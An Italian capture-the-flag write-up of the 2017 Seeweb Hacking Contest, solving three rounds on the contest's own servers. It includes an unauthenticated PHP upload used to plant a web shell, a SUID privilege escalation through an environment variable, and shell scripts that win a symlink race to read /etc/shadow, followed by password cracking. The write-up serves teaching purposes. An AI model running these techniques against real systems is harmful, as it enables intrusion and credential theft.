Image may be NSFW.
Clik here to view.
Da Lunedì 15 Maggio 2017 alle ore 10:00 a Mercoledì 31 Maggio 2017 alle ore 10:00 si è svolto l’hacking contest di Seeweb al quale abbiamo avuto l’onore di partecipare. Anche per questa edizione siamo lieti di presentare il nostro writeup degli step necessari a risolvere le varie challenge.
Per ognuna delle 3 manche Seeweb ha inviato una mail con le indicazioni da seguire per iniziare il percorso e la storia ad esso correlata.
Prima manche
Ciao, ti ringraziamo per avere partecipato all'Hacking Contest di Seeweb. Potresti portarti a casa un TrackR Bravo, una USB Rubber Ducky oppure un KeyLogger USB. E' il momento di vestire i panni di Joel Parker, temuto e stimato BlackHat, e di identificare i cyber-criminali. La tua storia inizia da qui: https://hc.seeweb.it/2822022B6D2903C83D30/ Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook. Rimani sempre aggiornato! In bocca al lupo, il team Seeweb
Collegandoci a https://hc.seeweb.it/2822022B6D2903C83D30/ ci siamo trovati davanti un puzzle da ricostruire, il quale ci ha fornito un secondo URL da seguire.
Image may be NSFW.
Clik here to view.
Una volta collegati a r3sistance.seeweb.it ci si è presentato una webapp con molte funzionalità, la cui quasi totalità disabilitate.
Image may be NSFW.
Clik here to view.
La prima cosa che ci ha colpiti è stato un cookie, il quale veniva settato, sempre uguale, una volta che la pagina index.php del sito veniva visitata, così dopo aver provato ad utilizzare tutte le funzionalità del sito abbiamo provato a vedere se venissero alterate in qualche modo nel caso noi modificassimo il cookie.
Dopo un considerevole numero di tentativi abbiamo identificato che la funzionalità di gestione dei documenti, collegandosi con SECRET-KEY anonymous
leggeva il parametro spd
dal cookie e ritornava una lista dei file presenti nella directory indicata al suo interno.
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
Grazie a queste informazioni siamo venuti a conoscenza della presenza di 2 script PHP
nella medesima cartella di engine.php
, di cui conoscevamo la path in quanto era l’endpoint richiamato da tutte le funzionalità della webapp, ovvero authenticated_form_upload.php
e authenticated_form_upload.php_old
.
Il secondo file, avendo estensione php_old
, era scaricabile, infatti il server non lo interpretava come un file eseguibile. Una volta scaricato ne abbiamo analizzato il comportamento.
<?php $nome=$_FILES['file']['name']; if (move_uploaded_file($_FILES['file']['tmp_name'], "uploads/$nome")) { print "Received {$_FILES['file']['name']} - its size is {$_FILES['file']['size']}"; } else { print "Upload failed!"; } ?>
Come risulta chiaro dal codice era possibile caricare file arbitrari senza autenticazione. Sperando che il file autenticated_form_upload.php
si comportasse nello stesso modo, abbiamo scritto una paginetta html che permettesse di effettuare la richiesta POST
di upload corretta.
<form enctype="multipart/form-data" method="POST" action="http://r3sistance.seeweb.it/assets/php/authenticated_form_upload.php"> <input type="file"> <input type="submit"> </form>
Una volta aperta la pagina html in un browser e selezionata la nostra shell in PHP realizzata con weevely abbiamo effettuato il submit del form ottenendo un corretto upload.
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
Navigando il filesystem abbiamo trovato un archivio ZIP
nella root directory chiamato SeewebContestCheckpoint.zip. Dopo averlo scaricato abbiamo notato che lo ZIP
era protetto da password, così abbiamo utilizzato John The Ripper per crackarne la password. Dopo qualche ora john ci ha comunicato che la password dello ZIP
era abygurl69
. A questo punto non era rimasto che estrarlo e prendere la prima flag.
Image may be NSFW.
Clik here to view.
Seconda Manche
Ciao __NOME__, ti ringraziamo per aver effettuato la registrazione al #SeewebContest E' in corso la seconda manche, iniziata Giovedi' 18 Maggio 2017 alle ore 10:00 e che terminera' Giovedi' 25 Maggio 2017 alle ore 10:00. Ti ricordiamo che l'evento e' articolato su un numero di 3 manche e si svolgera' secondo il seguente calendario: 1⚬ Manche: Lunedi' 15 Maggio alle ore 10:00 2⚬ Manche: Giovedi' 18 Maggio alle ore 10:00 3⚬ Manche: Giovedi' 25 Maggio alle ore 10:00 Ogni manche, pur continuando con la storia del gioco sara' comunque una "sezione" indipendente del Contest, permettendo a chiunque di potersi aggiudicare un gadget anche se non e' riuscito a completare la fase precedente del gioco. Se non riesci a vincere una sessione del Contest, potrai comunque aggiudicarti la successiva! Nella manche precedente alcuni WhiteHat sono riusciti ad identificare i cyber-criminali, ma adesso e' il momento di eliminare il backup del progetto M.O.T.A. dai loro server e di calarsi nuovamente nella parte del protagonista: Joel Parker! Host: enchant.seeweb.it Port: 2222 User: venom Pass: 23i05218226 Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook e rimani sempre aggiornato! In bocca al lupo e che vinca il migliore!
Collegandoci via SSH ci siamo trovati davanti ad una Debian 8 aggiornata, senza evidenti vulnerabilità, quindi abbiamo effettuato una ricerca di eventuali binari SUID e/o GUID per elevare i nostri privilegi sulla macchina, data la presenza di diverse utenze sulla stessa.
find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null
Questa semplice ricerca ci ha permesso di identificare la presenza di 5 binary che quando venivano eseguiti dallo user venom
giravano con i privilegi dello user enchant
.
- /usr/local/bin/encrypt_communications_genkey
- /usr/local/bin/encrypt_communications_install_modules
- /usr/local/bin/encrypt_communications_media
- /usr/local/bin/encrypt_communications_mngclient
- /usr/local/bin/encrypt_communications_mnglogs
Abbiamo subito provveduto a scaricarli e ad analizzarli localmente per capirne i comportamenti. Come nel caso della webapp della prima manche, la maggior parte delle funzionalità non erano disponibili / finte. Una delle prime cose che abbiamo notato era la presenza di un controllo per le format string, il quale controllava la presenza di %n
e %N
all’interno dell’input utente e, se erano presenti almeno in una determinata quantità. bloccava il flusso di esecuzione del programma.
__int64 __fastcall sub_400F9B(const char *a1) { int i; // [sp+14h] [bp-1Ch]@1 int v3; // [sp+18h] [bp-18h]@1 signed int v4; // [sp+1Ch] [bp-14h]@1 v3 = 0; v4 = 0; for ( i = 0; i < strlen(a1); ++i ) { if ( a1[i] == 110 || a1[i] == 78 ) //78 == n 110 == N ++v3; if ( a1[i] == 37 ) //37 == % ++v4; } return v4 > 2 && v3 > 0; //returns true if we have more the 2 % and more than 0 n or N }
Arrivati ad analizzare il file encrypt_communications_mngclient
abbiamo notato una strana funzionalità, la quale dopo aver letto da una variabile d’ambiente una stringa la eseguiva in una execve
con i privilegi dell’utente enchant a patto che questa stringa fosse /bin/sh o /bin/bash o /bin/dash, ma solo ed esclusivamente se la funzione sub_400F9B
ritornava true
, ovvero se veniva rilevato un tentativo di exploitare una format string.
__int64 func_t_debug() { [...] needle = '/'; v19 = 'b'; v20 = 'i'; v21 = 'n'; v22 = '/'; v23 = 's'; v24 = 'h'; v25 = '\0'; v26 = '/'; v27 = 'b'; v28 = 'i'; v29 = 'n'; v30 = '/'; v31 = 'b'; v32 = 'a'; v33 = 's'; v34 = 'h'; v35 = '\0'; v36 = '/'; v37 = 'b'; v38 = 'i'; v39 = 'n'; v40 = '/'; v41 = 'd'; v42 = 'a'; v43 = 's'; v44 = 'h'; v45 = '\0'; [...] printf("\nKey-Arg: ", &v17); __isoc99_scanf("%255s", &v46); if ( (unsigned int)sub_400F9B(&v46) ) //if Key-Arg contains at least 3 "%" and 1 "n" or 1 "N" { name = 'R'; v5 = 'E'; v6 = 'C'; v7 = 'O'; v8 = 'V'; v9 = 'E'; v10 = 'R'; v11 = 'Y'; v12 = '_'; v13 = 'B'; v14 = 'I'; v15 = 'N'; v16 = '\0'; haystack = getenv(&name); //reads RECOVERY_BIN content from env printf("\x1B[31mFATAL ERROR: Trying to recovery....\x1B[0m", &v46); fflush(stdout); sleep(1u); if ( !haystack ) { printf("\x1B[31mFATAL ERROR: Unable to recovery! Exiting...\n\n\x1B[0m"); sleep(1u); exit(0); } v0 = &needle; if ( strstr(haystack, &needle) || (v0 = &v26, strstr(haystack, &v26)) || (v0 = &v36, strstr(haystack, &v36)) ) //if RECOVERY_BIN is /bin/sh or /bin/bash or /bin/dash { fflush(stdout); printf("\x1B[31mFATAL ERROR: Trying to recovery....\x1B[0m", v0); setuid(0x3E9u); //sets enchant's user id seteuid(0x3E9u); //sets enchant's effective user id execve(haystack, 0LL, 0LL); //executes heystack content } } [...] }
Sfruttare questa vulnerabilità è estremamente semplice, è sufficiente settare la variabile d’ambiente RECOVERY_BIN
con /bin/sh
al momento dell’esecuzione del binario con le flag -d -t
, così che si entri nella funzione func_t_debug()
e inserire un payload per far sì che il check della format string ritorni il valore true
(es. %n%n%n%N%N%N
).
Image may be NSFW.
Clik here to view.
Ottenuti i privilegi di enchant abbiamo potuto scaricare ed eseguire un altro binario sempre presente in /usr/local/bin chiamato venom_storage_manager
. Una veloce analisi del binario ci ha permesso di identificare la password dell’utente e il contenuto della flag, in questo caso non era necessario eseguire il binario per ottenerla, ma per completezza lo abbiamo fatto.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { [...] v3 = argv; v15 = *MK_FP(__FS__, 40LL); s2 = 't'; v10 = 'u'; v11 = 'l'; v12 = 'i'; v13 = 'p'; v14 = '\0'; password = 'p'; byte_603141 = 'a'; byte_603142 = 's'; byte_603143 = 's'; byte_603144 = 'w'; byte_603145 = 'o'; byte_603146 = 'r'; byte_603147 = 'd'; byte_603148 = '='; byte_603149 = 't'; byte_60314A = 'u'; byte_60314B = 'l'; byte_60314C = 'i'; byte_60314D = 'p'; byte_60314E = '\0'; puts("\n\nANS0660W Default option values will be used.\nVemon Storage Manager\nCommand Line Administrative Interface - Versione 6, Release 4, Livello 0.4\n(c) Copyright of Venom Corporation 2013. All rights reserved.\n"); while ( 1 ) { printf("Username: ", v3); __isoc99_scanf("%48s", s1); sub_40089D(s1); overflow(s1); if ( strcmp(s1, "admin") ) printf("\x1B[33mWrong user\n\x1B[0m", "admin"); if ( !strcmp(s1, "admin") ) //compares inputted user with admin { printf("Password: ", "admin"); __isoc99_scanf("%48s", s1); if ( strcmp(s1, &s2) ) //compares inputted password with tulip [...] }
Image may be NSFW.
Clik here to view.
Terza Manche
Ciao, ti ringraziamo per aver effettuato la registrazione al #SeewebContest E' in corso la terza manche, iniziata Giovedi' 25 Maggio 2017 alle ore 10:00 e che terminera' Mercoledi' 31 Maggio 2017 alle ore 10:00. Ti ricordiamo che l'evento e' articolato su un numero di 3 manche e si svolgera' secondo il seguente calendario: 1⚬ Manche: Lunedi' 15 Maggio alle ore 10:00 2⚬ Manche: Giovedi' 18 Maggio alle ore 10:00 3⚬ Manche: Giovedi' 25 Maggio alle ore 10:00 Ogni manche, pur continuando con la storia del gioco sara' comunque una "sezione" indipendente del Contest, permettendo a chiunque di potersi aggiudicare un gadget anche se non e' riuscito a completare la fase precedente del gioco. Se non riesci a vincere una sessione del Contest, potrai comunque aggiudicarti la successiva! Nelle manche precedenti alcuni WhiteHat sono riusciti ad identificare i cyber-criminali e ad eliminare il backup del progetto M.O.T.A. dai server dei cyber-terroristi, ma adesso e' il momento di distruggere il prototipo rubato alla BioSynth Laboratories e di calarsi nuovamente nella parte del protagonista: Joel Parker! Host: icaro.seeweb.it Port: 2222 User: takeshi Pass: foolsgold Se sei alla ricerca di qualche suggerimento seguici su Twitter e Facebook e rimani sempre aggiornato! In bocca al lupo e che vinca il migliore!
Appena collegati alla macchina abbiamo eseguito ps aux per vedere i processi in esecuzione e abbiamo notato la presenza di /bin/icaro
eseguito dall’utente root.
root 1122 0.0 0.0 4096 1260 ? S May22 0:00 /bin/icaro
Abbiamo provveduto prontamente a scaricare il binario e ad analizzarlo. Per prima cosa abbiamo notato che l’eseguibile bindava la porta 31081 e forkava un processo per ogni connessione alla stessa, di conseguenza per interagire era sufficiente utilizzare il comando nc 127.0.0.1 31081.
Image may be NSFW.
Clik here to view.
Dopo aver analizzato il binario abbiamo identificato che impostando come exploit localFileReader
ci veniva chiesto il nome del file da leggere e veniva prefisso a questo nome la stringa /tmp/
e suffissa la stringa .tmp
, dopodiché all’avvio dell’attacco veniva fatta una __lxstat su quel file, successivamente veniva eseguita una usleep di 333000 microsecondi e infine il file veniva letto e stampato a schermo.
Per exploitare questa race condition era necessario sapere che:
- Se il file
/tmp/nome.tmp
era un symlink la __lxstat ci avrebbe impedito di continuare il flusso dell’esecuzione - Nel tempo in cui la usleep era in corso il check di __lxstat era già avvenuto, ma il file non era ancora stato letto
Ne risulta che il flusso dell’exploit è stato il seguente:
- Creazione di un file in
/tmp/nome.tmp
- Esecuzione di icaro via nc
- Selezione del target (inutile ai fini dell’exploit, ma necessario per il funzionamento dell’eseguibile)
- Selezione dell’Exploit
localFileReader
- Esecuzione dell’attacco
- Sostituzione del file /tmp/nome.tmp con un symlink ad un file arbitrario negli 0.333 secondi della usleep
- Profit
Per svolgere queste azioni in un tempo così ridotto era ovviamente necessario scrivere un piccolo script, ma essendo pigri ne abbiamo scritti 2, il primo per gestire le interazioni con icaro (non era detto che al primo tentativo saremmo riusciti ad exploitare la race condition) e uno per fare la sostituzione continua del file /tmp/nome.tmp con un symlink a /etc/shadow e viceversa.
symlink.sh:
while true; do ln -s /etc/shadow /tmp/name.tmp rm /tmp/name.tmp echo 1 > /tmp/name.tmp rm /tmp/name.tmp done
icaro.sh:
while true; do { sleep 1; echo "1"; sleep 1; echo "127.0.0.1"; sleep 2; echo 2; sleep 1; echo 4; sleep 2; echo "name"; sleep 2; echo 4; sleep 3; } | tee /dev/tty | nc 0 31081 done
Dopo lanciato entrambi gli script e aver aspettato una manciata di iterazioni del secondo ecco comparirci il contenuto di /etc/shadow.
Image may be NSFW.
Clik here to view.
Abbiamo subito dato in pasto il file shadow per una decina di minuti a John-The-Ripper, il quale ci ha restituito la password dello user ralph.
Image may be NSFW.
Clik here to view.
Ci siamo quindi collegati al server via ssh con l’utente ralph
e la password unicorn8
e abbiamo trovato una serie di file all’interno della suo home che abbiamo provveduto a scaricare.
Image may be NSFW.
Clik here to view.
I due file più interessanti erano MOTA_control_panel
e 1493635127.M427207P24935.biosynthlab.seeweb.it
, il contenuto del primo era un semplice link a quantum.seeweb.it, sito dove era possibile caricare un file audio.
Image may be NSFW.
Clik here to view.
Il secondo file invece era una e-mail con allegata un’immagine.
Image may be NSFW.
Clik here to view.
Analizzando l’immagine con binwalk era possibile identificare la presenza dei byte relativi alla fine di un archivio ZIP
, data questa informazione abbiamo provato ad estrarre l’immagine con 7z con il comando 7z x ForYou.jpg
ed è stato estratto un file chiamato (∂ + m) ψ = 0.m4a
. A questo punto è stato sufficiente caricare il file su quantum.seeweb.it per concludere la nosta avventura.
Image may be NSFW.
Clik here to view.
Ringraziamo Seeweb e Luca Ercoli per la simpatica avventura e speriamo di vedere presto un nuovo CTF marchiato Seeweb.
Classifica
Seeweb ha pubblicato la classifica e abbiamo scoperto di aver vinto tutte e tre le manche!
1° Premio –> Smaury
2° Premio –> Pol
3° Premio –> Pei
Image may be NSFW.
Clik here to view.
Image may be NSFW.
Clik here to view.
L'articolo SOLUZIONE Seeweb Hacking Contest 2017: Music Of The Atoms sembra essere il primo su Shielder.